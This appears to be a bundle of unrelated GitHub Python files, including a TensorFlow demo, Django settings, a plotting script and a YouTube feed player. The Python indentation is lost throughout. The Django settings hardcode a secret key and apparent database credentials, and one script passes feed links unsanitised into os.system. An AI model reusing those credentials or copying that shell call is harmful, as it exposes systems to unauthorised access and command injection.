05b37dd3624e73336c6b81e8da5a0dd4f1c2fe24 | 19014913b06ee78a9d6f660e240e6e730f5881cb | /demo_Tensorflow.py | 8ba6e9c635a9b00a630ef4b272660e9bbb0fb51f | [] | no_license | tomtum/tomMLdocker | 2537f8cfa529a90d8aa379eaa2070fe3952d3cb8 | fe566a0c653d23c4e3839d3d17ba8532b42972a8 | refs/heads/master | 2022-11-18T03:14:52.841711 | 2020-07-16T05:51:12 | 2020-07-16T05:51:12 | 279,957,519 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,740 | py | from tensorflow.compat.v1 import ConfigProto
from tensorflow.compat.v1 import InteractiveSession
config = ConfigProto()
config.gpu_options.allow_growth = True
session = InteractiveSession(config=config)
import numpy as np
import tensorflow as tf
from tensorflow import keras
from tensorflow.keras import layers
print("Test on GPU")
with tf.device("/gpu:0"):
num_classes = 10
input_shape = (28, 28, 1)
(x_train, y_train), (x_test, y_test) = keras.datasets.mnist.load_data()
x_train = x_train.astype("float32") / 255
x_test = x_test.astype("float32") / 255
x_train = np.expand_dims(x_train, -1)
x_test = np.expand_dims(x_test, -1)
print("x_train shape:", x_train.shape)
print(x_train.shape[0], "train samples")
print(x_test.shape[0], "test samples")
y_train = keras.utils.to_categorical(y_train, num_classes)
y_test = keras.utils.to_categorical(y_test, num_classes)
model = keras.Sequential(
[
keras.Input(shape=input_shape),
layers.Conv2D(32, kernel_size=(3, 3), activation="relu"),
layers.MaxPooling2D(pool_size=(2, 2)),
layers.Conv2D(64, kernel_size=(3, 3), activation="relu"),
layers.MaxPooling2D(pool_size=(2, 2)),
layers.Flatten(),
layers.Dropout(0.5),
layers.Dense(num_classes, activation="softmax"),
]
)
model.summary()
batch_size = 128
epochs = 15
model.compile(loss="categorical_crossentropy", optimizer="adam", metrics=["accuracy"])
model.fit(x_train, y_train, batch_size=batch_size, epochs=epochs, validation_split=0.1)
print("Test on CPU")
with tf.device("/cpu:0"):
num_classes = 10
input_shape = (28, 28, 1)
(x_train, y_train), (x_test, y_test) = keras.datasets.mnist.load_data()
x_train = x_train.astype("float32") / 255
x_test = x_test.astype("float32") / 255
x_train = np.expand_dims(x_train, -1)
x_test = np.expand_dims(x_test, -1)
print("x_train shape:", x_train.shape)
print(x_train.shape[0], "train samples")
print(x_test.shape[0], "test samples")
y_train = keras.utils.to_categorical(y_train, num_classes)
y_test = keras.utils.to_categorical(y_test, num_classes)
model = keras.Sequential(
[
keras.Input(shape=input_shape),
layers.Conv2D(32, kernel_size=(3, 3), activation="relu"),
layers.MaxPooling2D(pool_size=(2, 2)),
layers.Conv2D(64, kernel_size=(3, 3), activation="relu"),
layers.MaxPooling2D(pool_size=(2, 2)),
layers.Flatten(),
layers.Dropout(0.5),
layers.Dense(num_classes, activation="softmax"),
]
)
model.summary()
batch_size = 128
epochs = 15
model.compile(loss="categorical_crossentropy", optimizer="adam", metrics=["accuracy"])
model.fit(x_train, y_train, batch_size=batch_size, epochs=epochs, validation_split=0.1)
| [
"noreply@github.com"
] | tomtum.noreply@github.com |
bdce97010d7f2cc1d977a6177f6f4078187f8988 | 4b4beafc14f4356ddf129a489ab844ad0d5acce5 | /tests/test_version.py | b213c0fcdfb83afe3add540422c8bd742992eda6 | [
"Apache-2.0"
] | permissive | usethecodeluke/flask-dynamo-session | c87f98253e751b88aeddf6c60c2d6e6c6af458cc | 8e4aee30e2c5aedc57841c1a460311a7ff6e0cd1 | refs/heads/master | 2021-06-22T08:40:34.423007 | 2017-08-17T01:16:46 | 2017-08-17T01:33:01 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 137 | py | # -*- coding: utf-8 -*-
from flask_dynamo_session import __version__
def test_version():
assert __version__.__version__ == "0.0.3"
| [
"jaustinpage@gmail.com"
] | jaustinpage@gmail.com |
188af7978c552c163eb8fa4d0b71263513ef23a6 | 17c1e9c4a062753bfe1d74fb060acaf20e59a490 | /ScatterplotGraph1.py | abc57ff5ebacd4d1c98bcbfdbb3ac14f4c508bd5 | [] | no_license | Jacky-He/Big-Data-Challenge-2020 | bbdfc118c04c95fa0c8094b8bb4fcfbf1a54cb09 | 2e3ebfdcd0d36bd418b98b155da928f915933c62 | refs/heads/master | 2020-12-03T19:58:15.759893 | 2020-01-03T17:45:55 | 2020-01-03T17:45:55 | 231,465,334 | 0 | 0 | null | 2020-01-02T21:52:29 | 2020-01-02T21:52:28 | null | UTF-8 | Python | false | false | 1,653 | py | import plotly
import plotly.graph_objs as go
from scipy import stats
import numpy as np
X_COORDS = []
Y_COORDS = []
DATA = []
def initialize_coords():
f= open("SeaTemperature.txt","r")
f1 = f.readlines()
for i in f1:
date = int(i[:4])
temperature = float(i[5:i.index("°C")-1])
X_COORDS.append(date)
Y_COORDS.append(temperature)
counter = 0
while counter < len(X_COORDS):
if X_COORDS[counter] is None or Y_COORDS[counter] is None:
X_COORDS.pop(counter)
Y_COORDS.pop(counter)
else:
counter += 1
def linear_regress():
slope, intercept, r_value, p_value, std_err = stats.linregress(X_COORDS, Y_COORDS)
DATA.append(go.Scatter(
x=[0.0, max(X_COORDS)],
y=[intercept, slope * max(X_COORDS) + intercept],
mode='lines',
name=("Regression Line Linear, R=" + str(r_value))
))
def format_layout():
layout = go.Layout(
hovermode='closest',
xaxis=dict(
title=X_AXIS,
ticklen=5,
zeroline=False,
gridwidth=2,
),
yaxis=dict(
title=Y_AXIS,
ticklen=5,
gridwidth=2,
)
)
return layout
#Main
global X_AXIS, Y_AXIS;
X_AXIS = "Year";
Y_AXIS = "Difference in Ocean Temperature From Average";
initialize_coords()
layout = format_layout()
DATA.append(go.Scatter(
x=X_COORDS,
y=Y_COORDS,
mode='markers',
name="SeaTemp"
))
linear_regress()
filename = "plots/SeaTemp.html"
plotly.offline.plot({
"data": DATA,
"layout": layout,
}, auto_open=True, filename=filename) | [
"itangdav@gmail.com"
] | itangdav@gmail.com |
8b78ae719000c0e93829dba114026dc7f34a0ed6 | 0f44a0be796ed48788d4f5f88e17739b62db3823 | /src/python/stopword_generation/stopword_generation_service.py | e05a132f66734666d628da567180ef8ef885d787 | [] | no_license | MatthewMawby/SearchIndex | 602784aeafc3a6e8c5913f001871f1e0e20ea3cb | fd36bf377d37c148e6e42bc333fb029220b584a7 | refs/heads/master | 2021-08-28T23:26:38.046910 | 2017-12-13T08:36:34 | 2017-12-13T08:36:34 | 108,444,408 | 1 | 3 | null | 2017-12-12T08:36:53 | 2017-10-26T17:33:58 | Python | UTF-8 | Python | false | false | 225 | py | from stopword_generator import StopWordGenerator
def stopword_handler(event, context):
sw = StopWordGenerator()
sw.generate_stopwords()
sw.add_stopwords_table()
tokens = sw.get_stop_words()
return tokens
| [
"chens16@rpi.edu"
] | chens16@rpi.edu |
b23a38e200b3dc9fb46a0e97a2cc86b567769a9c | a25386f2d296e566d11736c7ab60c7e13fdfe26b | /Hartals.py | 0a59e1ceab23c91eabeec09efad2d974cc70ebbc | [] | no_license | janbro/Python | a28e033966023869cac44ab0fead74cd7ac2eb65 | 9132afa39145d00d0e65ec5b5dec3bb2b5e1f22d | refs/heads/master | 2022-03-14T14:23:12.943576 | 2015-07-04T23:35:10 | 2022-02-04T21:30:04 | 12,556,637 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 394 | py | #Multiples of political parties numbers
#Not on days divisible by 7 or (/7)-1
#count days, subtract days on fri/sat
day = 100
multiples = [7*x for x in xrange(0,day/7)]
for x in xrange(0,len(multiples)):
multiples.insert(x,multiples[x]-1)
parties = [12,15,25,40]
tot = 0
for num in parties:
tot+=day/num
for mult in multiples:
if mult%num==0:
tot-=1
print tot
| [
"amunoz797@gmail.com"
] | amunoz797@gmail.com |
8ae455ea1617bc34443e42a092bb73e2aaba14e6 | 85f8fdc093b4a7e2c2bf06baa434eb5d5e7981a2 | /medica/settings.py | 8e93de6fb754dc320f3843b43e896ff50acdf94b | [] | no_license | DRGuillen/ClinicaMedica | d2a282d45efe5a3638c0a12bc32fffad803261cc | 11871f38c17d64fc6565ab47140706d7a2d0af3c | refs/heads/main | 2023-08-26T13:12:21.745186 | 2021-11-10T07:04:09 | 2021-11-10T07:04:09 | 426,494,411 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,813 | py | """
Django settings for medica project.
Generated by 'django-admin startproject' using Django 3.0.1.
For more information on this file, see
https://docs.djangoproject.com/en/3.0/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.0/ref/settings/
"""
import os
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/3.0/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = '8prf!__xvdm%)9@!3_b&3^%-fvae28t$t5mc%o51l%-l0yzkv3'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
ALLOWED_HOSTS = []
# Application definition
DJANGO_APPS = [
'admin_interface',
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'colorfield',
'easy_pdf',
]
THIRD_PARTY_APPS = [
]
LOCAL_APPS = [
'apps.pacientes',
'apps.citas',
'apps.consultas',
'apps.medicamentos',
'apps.receta',
'apps.home',
]
INSTALLED_APPS = DJANGO_APPS + THIRD_PARTY_APPS + LOCAL_APPS
X_FRAME_OPTIONS = 'SAMEORIGIN'
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'medica.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [os.path.join(BASE_DIR, 'templates')],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'medica.wsgi.application'
# Database
# https://docs.djangoproject.com/en/3.0/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.postgresql_psycopg2',
'NAME': 'd99c513s7u7684',
'USER': 'aqjsupdhmcckbn',
'PASSWORD': '8d617ec2d667dd4d817f600bdb27fd7aa86f5b77035c72b6d7136b7e10d5f33f',
'HOST': 'ec2-44-193-182-0.compute-1.amazonaws.com',
'PORT': '5432',
}
}
# Password validation
# https://docs.djangoproject.com/en/3.0/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/3.0/topics/i18n/
LANGUAGE_CODE = 'es-mx'
TIME_ZONE = 'America/Guatemala'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/3.0/howto/static-files/
STATIC_URL = '/static/'
STATIC_ROOT = os.path.join(BASE_DIR, 'staticfiles/')
STATICFILES_DIRS = [
os.path.join(BASE_DIR, 'static'),
]
MEDIA_URL = '/media/'
MEDIA_ROOT = 'media' | [
"dickguillen13@hotmail.com"
] | dickguillen13@hotmail.com |
f8146ab2ae40e6fc2848bac16c862804609f2c02 | e21c70d5b03633b4e0a89dfccb0cb8ccd88612d0 | /venv/lib/python3.5/site-packages/eventlet/zipkin/http.py | 668c3f9e380a1d9abd740ffae72959c8b26fde56 | [
"MIT"
] | permissive | LavanyaRamkumar/Networking-app_Dynamic-Quiz | 4d5540088b1e2724626dda8df0fd83442391b40f | 4de8329845712864d3cc8e8b81cfce5a1207224d | refs/heads/master | 2023-02-09T12:08:19.913354 | 2019-10-26T04:23:54 | 2019-10-26T04:23:54 | 173,337,916 | 1 | 1 | MIT | 2023-02-02T04:48:55 | 2019-03-01T16:56:13 | Python | UTF-8 | Python | false | false | 1,789 | py | import warnings
from eventlet.support import six
from eventlet.green import httplib
from eventlet.zipkin import api
# see https://twitter.github.io/zipkin/Instrumenting.html
HDR_TRACE_ID = 'X-B3-TraceId'
HDR_SPAN_ID = 'X-B3-SpanId'
HDR_PARENT_SPAN_ID = 'X-B3-ParentSpanId'
HDR_SAMPLED = 'X-B3-Sampled'
if six.PY2:
__org_endheaders__ = httplib.HTTPConnection.endheaders
__org_begin__ = httplib.HTTPResponse.begin
def _patched_endheaders(self):
if api.is_tracing():
trace_data = api.get_trace_data()
new_span_id = api.generate_span_id()
self.putheader(HDR_TRACE_ID, hex_str(trace_data.trace_id))
self.putheader(HDR_SPAN_ID, hex_str(new_span_id))
self.putheader(HDR_PARENT_SPAN_ID, hex_str(trace_data.span_id))
self.putheader(HDR_SAMPLED, int(trace_data.sampled))
api.put_annotation('Client Send')
__org_endheaders__(self)
def _patched_begin(self):
__org_begin__(self)
if api.is_tracing():
api.put_annotation('Client Recv (%s)' % self.status)
def patch():
if six.PY2:
httplib.HTTPConnection.endheaders = _patched_endheaders
httplib.HTTPResponse.begin = _patched_begin
if six.PY3:
warnings.warn("Since current Python thrift release \
doesn't support Python 3, eventlet.zipkin.http \
doesn't also support Python 3 (http.client)")
def unpatch():
if six.PY2:
httplib.HTTPConnection.endheaders = __org_endheaders__
httplib.HTTPResponse.begin = __org_begin__
if six.PY3:
pass
def hex_str(n):
"""
Thrift uses a binary representation of trace and span ids
HTTP headers use a hexadecimal representation of the same
"""
return '%0.16x' % (n,)
| [
"lavanya.ramkumar99@gmail.com"
] | lavanya.ramkumar99@gmail.com |
00d81dc750626862dd6db1686f28e546fccad057 | 9fd1df8895ecd7659fa5eddd10f85d76bb25fa3a | /kdt.py | e69e95be7dc63610b4b64ee34beccd65a4ef3673 | [] | no_license | rkwitt/PyDSTK | f625aa5d88fbf85d10447a58709350f6800d6685 | 3451915e8edb6579f0ed8292d8763cf05760eb77 | refs/heads/master | 2021-01-16T18:10:05.261657 | 2013-07-30T18:20:02 | 2013-07-30T18:20:02 | 11,612,541 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,896 | py | ################################################################################
#
# Library: pydstk
#
# Copyright 2010 Kitware Inc. 28 Corporate Drive,
# Clifton Park, NY, 12065, USA.
#
# All rights reserved.
#
# Licensed under the Apache License, Version 2.0 ( the "License" );
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
################################################################################
"""Application #2: Kernel Dynamic Textures (KDT)
"""
__license__ = "Apache License, Version 2.0"
__author__ = "Roland Kwitt, Kitware Inc., 2013"
__email__ = "E-Mail: roland.kwitt@kitware.com"
__status__ = "Development"
# generic imports
import os
import sys
import pickle
import numpy as np
from optparse import OptionParser
# import supp. pyds packages
import dsutil.dsutil as dsutil
import dsutil.dsinfo as dsinfo
import dscore.dsdist as dsdist
# import pyds classes
from dscore.dsexcp import ErrorDS
from dscore.system import NonLinearDS
from dscore.dskpca import KPCAParam, rbfK, RBFParam
def usage():
"""Print usage information"""
print("""
Kernel Dynamic Texture estimation using Non-Linear Dynamical Systems (NLDS).
USAGE:
{0} [OPTIONS]
{0} -h
OPTIONS (Overview):
-i ARG -- Input file
-t ARG -- Input file type
'vFile' - AVI video file
'aFile' - ASCII data file
'lFile' - Image list file
[-n ARG] -- NLDS states (default: 5)
[-o ARG] -- Save KDT parameters to ARG
[-v] -- Verbose output (default: False)
AUTHOR: Roland Kwitt, Kitware Inc., 2013
roland.kwitt@kitware.com
""".format(sys.argv[0]))
sys.exit(-1)
def main(argv=None):
if argv is None:
argv = sys.argv
parser = OptionParser(add_help_option=False)
parser.add_option("-i", dest="iFile")
parser.add_option("-t", dest="iType")
parser.add_option("-o", dest="oFile")
parser.add_option("-n", dest="nStates", type="int", default=5)
parser.add_option("-h", dest="shoHelp", action="store_true", default=False)
parser.add_option("-v", dest="verbose", action="store_true", default=False)
opt, args = parser.parse_args()
if opt.shoHelp:
usage()
dataMat = None
dataSiz = None
try:
if opt.iType == 'vFile':
(dataMat, dataSiz) = dsutil.loadDataFromVideoFile(opt.iFile)
elif opt.iType == 'aFile':
(dataMat, dataSiz) = dsutil.loadDataFromASCIIFile(opt.iFile)
elif opt.iType == 'lFile':
(dataMat, dataSiz) = dsutil.loadDataFromIListFile(opt.iFile)
else:
dsinfo.fail("Unsupported file type : %s" % opt.iType)
return -1
# catch pyds exceptions
except ErrorDS as e:
msg.fail(e)
return -1
try:
kpcaP = KPCAParam()
kpcaP._kPar = RBFParam()
kpcaP._kPar._kCen = True
kpcaP._kFun = rbfK
kdt = NonLinearDS(opt.nStates, kpcaP, opt.verbose)
kdt.suboptimalSysID(dataMat)
if not opt.oFile is None:
if not kdt.check():
dsinfo.fail('cannot write invalid model!')
return -1
dsinfo.info('writing model to %s' % opt.oFile)
with open(opt.oFile, 'w') as fid:
pickle.dump(kdt, fid)
except ErrorDS as e:
dsinfo.fail(e)
return -1
if __name__ == '__main__':
sys.exit(main())
| [
"roland.kwitt@kitware.com"
] | roland.kwitt@kitware.com |
9c3288ac5063927f7133d7dd8a080db6f6ec75b4 | 4fa215b90fa024f13b0aadca31455eea98b8f5ad | /biztube.py | 6c17d721b52c53d67d1ca981c8c90807f2cfc03a | [] | no_license | bart-nathan/bizfeed | 5d2e009186c93fde052f33a166c9f66da1e09948 | 25620f210666e79c8a0597cb819ef8a3003720a8 | refs/heads/master | 2023-04-14T21:46:18.614881 | 2021-04-18T08:16:44 | 2021-04-18T08:16:44 | 355,972,562 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,218 | py | #!/usr/bin/python
import feedparser
import os
import sys
from datetime import datetime
feed_list = []
feed_list.append(["Explaining Computers", "https://www.youtube.com/feeds/videos.xml?user=explainingcomputers"])
feed_list.append(["Udstødt", "https://www.youtube.com/feeds/videos.xml?channel_id=UCfuFrEavX-B7FIcC5geJUpg"])
feed_list.append(["Peters Plader","https://www.youtube.com/feeds/videos.xml?channel_id=UCp_abvqvoCyWgLrXaOEHEEA"])
feed_list.append(["The Hated One","https://www.youtube.com/feeds/videos.xml?channel_id=UCjr2bPAyPV7t35MvcgT3W8Q"])
feed_list.append(["Techlore","https://www.youtube.com/feeds/videos.xml?channel_id=UCs6KfncB4OV6Vug4o_bzijg"])
feed_list.append(["Techmoan","https://www.youtube.com/feeds/videos.xml?user=Techmoan"])
feed_list.append(["Lars Muhl","https://www.youtube.com/feeds/videos.xml?channel_id=UCbi5bIFlsLEHwTtzmkBaJ_A"])
def handle_date_string(input_string):
split_string = input_string.split('T')
split_date = split_string[0].split('-')
split_time = split_string[1].split('+')[0].split(':')
return datetime(int(split_date[0]),int(split_date[1]),int(split_date[2]),int(split_time[0]),int(split_time[1]),int(split_time[2]))
def is_today(date_string):
now_date = str(datetime.now()).split(" ")[0].split("-")
input_date = str(date_string).split(" ")[0].split("-")
if (now_date[0] == input_date[0]) and (now_date[1] == input_date[1]) and (now_date[2] == input_date[2]):
return True
#print(now_date)
#print(input_date)
return False
def mix_feeds():
found_feeds = []
for one_feed in feed_list:
item_list = feedparser.parse(one_feed[1])["entries"]
for item in item_list:
pub_date = handle_date_string(item["published"])
if is_today(pub_date):
found_feeds.append([pub_date,item["title"], item["link"], one_feed[0]])
return sorted(found_feeds, reverse=False)
def get_feeds():
feeds = []
feed_mix = mix_feeds()
index = 0;
for f in feed_mix:
date, title, link, feed_name = f
feeds.append([index, date, title, link, feed_name ])
index = index + 1
return feeds
def show_feed_list(feed_list):
for f in feed_list:
count, date, title, link, feed_name = f
print("%s | %s | %s | %s" % (count, date,title, feed_name))
def cmd():
print("? = help | biztube :>", end="")
command = input()
return command
def display_menu():
feed_list = get_feeds()
show_feed_list(feed_list)
command = None
while command != 'q':
command = cmd()
if command == "list":
show_feed_list(feed_list)
elif command == "?":
print("list : print video list")
print("play number : play a video")
print("stop : stop video")
elif command.split(" ")[0] == "play":
number = int(command.split(" ")[1])
os.system("catt -d Tv cast -f %s" % (feed_list[number][3]))
elif command == "stop":
os.system("catt -d Tv stop")
if __name__ == "__main__":
display_menu()
| [
"johnson_bart@protonmail.ch"
] | johnson_bart@protonmail.ch |
d2e00d2a9b375a702acdbaa30a85f5ac72d288cb | 2e9d98c56aacf2caf813582a973a10f3900bc685 | /PyTutorial-For_While.py | d42dddb23ede5a65136a1d7fd70c31c548a55f8e | [] | no_license | dodonnell-code/Python | d819b0758d58c6caeb6cf05fe09b6d62b3c4e39e | 1e681058e414480fa80b2994336e22aa61e6891a | refs/heads/master | 2020-07-24T21:50:58.661020 | 2019-09-12T20:16:23 | 2019-09-12T20:16:23 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,199 | py | # https://www.youtube.com/watch?v=6iF8Xb7Z3wQ&list=PL-osiE80TeTt2d9bfVyTiXJA-UTHn6WwU&index=8&t=0s
nums = [1,2,3,4,5]
for num in nums:
if num == 3:
print('Found!')
break #this will force the loop to stop
print(num)
for num in nums:
if num == 3:
print('Found!')
continue #this will skip the rest of the iteration and continue the for loop
print(num)
for num in nums:
for letter in 'abc':
print(num, letter) #gives every combination of numbers from list and letters abc
for i in range(10): #use to loop x times as indicated by range value.
print(i)
for i in range(1,11): #you can determine the starting value using additional parameters in range n - n-1
print(i)
x=0
while x < 10: #loops until the condition is met.
print(x)
x+=1 #make sure to increment so that the loop isn't infinite
x=0
while x < 10: #loops until the condition is met.
if x == 5:
break
print(x)
x+=1 #make sure to increment so that the loop isn't infinite
x=0
while True: #this will loop forever until it hits the break point
if x == 5:
break
print(x)
x += 1
| [
"noreply@github.com"
] | dodonnell-code.noreply@github.com |
d3fa739bf9084c7c410a9e462983e191e39f3ce0 | 0f55c4f533f769273ac40ed85678a8163806585d | /Puzzles/Day2/Day2Solution.py | 58e72b4885812d83b5825cf4d6f33bf3ece5d1a7 | [] | no_license | jhmalpern/AdventOfCode | 5759d5b3a3999b30544f4f161c25f76647e1a4ec | 7a8f5f9a513e8d5852452ec3480d553797d8d0b5 | refs/heads/main | 2023-03-27T17:09:27.003298 | 2021-03-28T01:46:48 | 2021-03-28T01:46:48 | 340,063,803 | 0 | 0 | null | 2021-03-28T01:46:48 | 2021-02-18T13:47:16 | Python | UTF-8 | Python | false | false | 1,481 | py | #!/usr/bin/python3
import time
def main():
startTime = time.time()
#with open("PuzzleInput.txt",'r') as f:
# puzzleInput = f.read().splitlines()
##### PART 1 #####
benchTime = []
for j in range(1000):
startTime = time.time()
with open("PuzzleInput.txt",'r') as f:
puzzleInput = f.read().splitlines()
wrapNeeded = 0
for i in range(len(puzzleInput)):
l, w, h = [int(i) for i in puzzleInput[i].split('x')]
area = 2*l*w + 2*w*h + 2*l*h
wrapNeeded = wrapNeeded + area + min(l*w,w*h,l*h)
benchTime.append(time.time()-startTime)
print("Elves need %s feet of wrapping paper" % (wrapNeeded))
print("On average, it took %s seconds to complete Part1" % (sum(benchTime)/len(benchTime)))
##### PART 2 #####
benchTime2 = []
for j in range(1000):
startTime = time.time()
with open("PuzzleInput.txt",'r') as f:
puzzleInput = f.read().splitlines()
bow = 0
wrap = 0
for i in range(len(puzzleInput)):
l, w, h = [int(i) for i in puzzleInput[i].split('x')]
bow = (l*w*h)
wrap = wrap + bow + min(2*(l+h), 2*(l+w), 2*(w+h))
benchTime2.append(time.time()-startTime)
print("Elves need %s feet of ribbon" % (wrap))
print("On average, it took %s seconds to complete Part2" % (sum(benchTime2)/len(benchTime2)))
if __name__ == "__main__":
main()
| [
"jhmalpern@gmail.com"
] | jhmalpern@gmail.com |
0ddd27f3ce680601691199137a6f241c35295ea5 | 5862f821fe16a046cc306b86a6cefd2636024028 | /venv/Scripts/easy_install-3.7-script.py | a2a72f5cc730d3d6a88afd432f2384572ae30670 | [] | no_license | doom2020/BlogSystem | 88aebf3fa1fb98b7bd9ec0af7818fae02d691435 | 1272cd4d4ce4fbc7ceac1f6bedbcaf65b021f278 | refs/heads/master | 2020-07-15T06:27:45.282468 | 2019-09-11T16:05:14 | 2019-09-11T16:05:14 | 205,499,859 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 449 | py | #!D:\PycharmProjects\BlogSystem\venv\Scripts\python.exe
# EASY-INSTALL-ENTRY-SCRIPT: 'setuptools==40.8.0','console_scripts','easy_install-3.7'
__requires__ = 'setuptools==40.8.0'
import re
import sys
from pkg_resources import load_entry_point
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
sys.exit(
load_entry_point('setuptools==40.8.0', 'console_scripts', 'easy_install-3.7')()
)
| [
"408575225@qq.com"
] | 408575225@qq.com |
e1dbde634a9194de00f984df3194eaf85f5b62dd | 8b435b89d790aeaa76f289cd894758bb500fcd67 | /myweb/urls.py | 9ad357ac8951f44bfcb9356b073940ba4be8e55c | [
"BSD-2-Clause"
] | permissive | gavinleehau/Django-first-project | b2b6a31b7da00ca14805e450cfbd60c5db7ef9a2 | 9d76ea872d0b11ec0dcedbe1611dbd69990c7e7f | refs/heads/main | 2023-07-16T14:01:49.325867 | 2021-08-16T07:36:45 | 2021-08-16T07:36:45 | 396,676,224 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,054 | py | """myweb URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/3.2/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.urls import include, path
2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
"""
from django.contrib import admin
from django.urls import path
from django.conf.urls import include, url
from django.conf.urls.static import static
from django.conf import settings
urlpatterns = [
url(r"^api/", include("myapi.urls")),
url(r"^", include("myapp.urls")),
path('admin/', admin.site.urls),
]
# if settings.DEBUG:
# urlpatterns += static(settings.MEDIA_URL, document_root = settings.MEDIA_ROOT)
| [
"haule.it.ctu@gmail.com"
] | haule.it.ctu@gmail.com |
1020c2b625bea5bf723e8d9a6c32283db8060e0b | 805dfed53cc33e31ad21c7d7f14d876986533755 | /DS-Algorithms/venv/Scripts/easy_install-script.py | 495776bbfd650f3579f5a67b27444ca06c538bc1 | [] | no_license | RoqueSanJuan/ProyectosPython | 74b2c9f3a06279ed8f5ef255f2f306a6106df794 | d8d758b0a527d19d817bbdcc8468462b546283b7 | refs/heads/master | 2022-04-14T15:31:42.508605 | 2020-04-11T05:10:58 | 2020-04-11T05:10:58 | 254,597,516 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 491 | py | #!"C:\Users\roque\Desktop\Desarrollando Lenguajes\Python\Proyectos\DS-Algorithms\venv\Scripts\python.exe"
# EASY-INSTALL-ENTRY-SCRIPT: 'setuptools==40.8.0','console_scripts','easy_install'
__requires__ = 'setuptools==40.8.0'
import re
import sys
from pkg_resources import load_entry_point
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
sys.exit(
load_entry_point('setuptools==40.8.0', 'console_scripts', 'easy_install')()
)
| [
"Roque.m.sanjuan@gmail.com"
] | Roque.m.sanjuan@gmail.com |
484a516abf6bb6f5c89428f65f0e13e0d049eb90 | 22e3de33816f79db85d716472015b03a21b596c2 | /src/chapter01/chapter01-04.py | 02674ecf0073a83499535b3ba836bf88abec1926 | [] | no_license | hermes7308/opencv-with-python-tutorial | add150656cfd4f3b053e1f18462b57ec6bb73923 | 7768c64f04f422b643506ba79d0cd3c0860c67fd | refs/heads/master | 2020-04-27T04:05:56.755366 | 2020-04-26T05:39:44 | 2020-04-26T05:39:44 | 174,043,556 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 135 | py | import cv2
orig = cv2.imread("../../data/Lena.png")
orig_size = orig.shape[0:2]
cv2.imshow("Original image", orig)
cv2.waitKey(2000)
| [
"hermes7308@gmail.com"
] | hermes7308@gmail.com |
212d607edd2e6f82e6485cfc79222aa3aa75a575 | e4e148505e276b1d7fae38a1c2196bee9f9deb5b | /Zork/Package/Item.py | ba2539a20cc6ac0b7d85a8dfa9b20739563d9856 | [] | no_license | ghuizenga/343-ZorkSubmit | 77b9aed230e1ba1b7a41e6cd18f4807cb5186530 | 9e5966e45c15482434a68345be85391431686205 | refs/heads/master | 2021-04-15T05:45:11.130843 | 2018-03-25T07:29:52 | 2018-03-25T07:29:52 | 126,674,372 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,554 | py | # -*- coding: utf-8 -*-
"""
Created on Fri Mar 23 01:55:56 2018
@author: Gregory
"""
class Item(object) :
name = "nothing"
durability = 0
max_durability = 0
observers = []
inv_slot = 0
def lose_durability(self) :
self.durability = self.durability - 1
if self.durability <= 0 :
self.notify_observers(self)
def add_observer(self, inventory) :
self.observers.append(inventory)
def notify_observers(self) :
for x in self.observers :
x.update(self.inv_slot)
def get_name(self) :
return self.name
def get_durability(self) :
return self.durability
class hersheys_kisses(Item) :
def __init__(self, inv) :
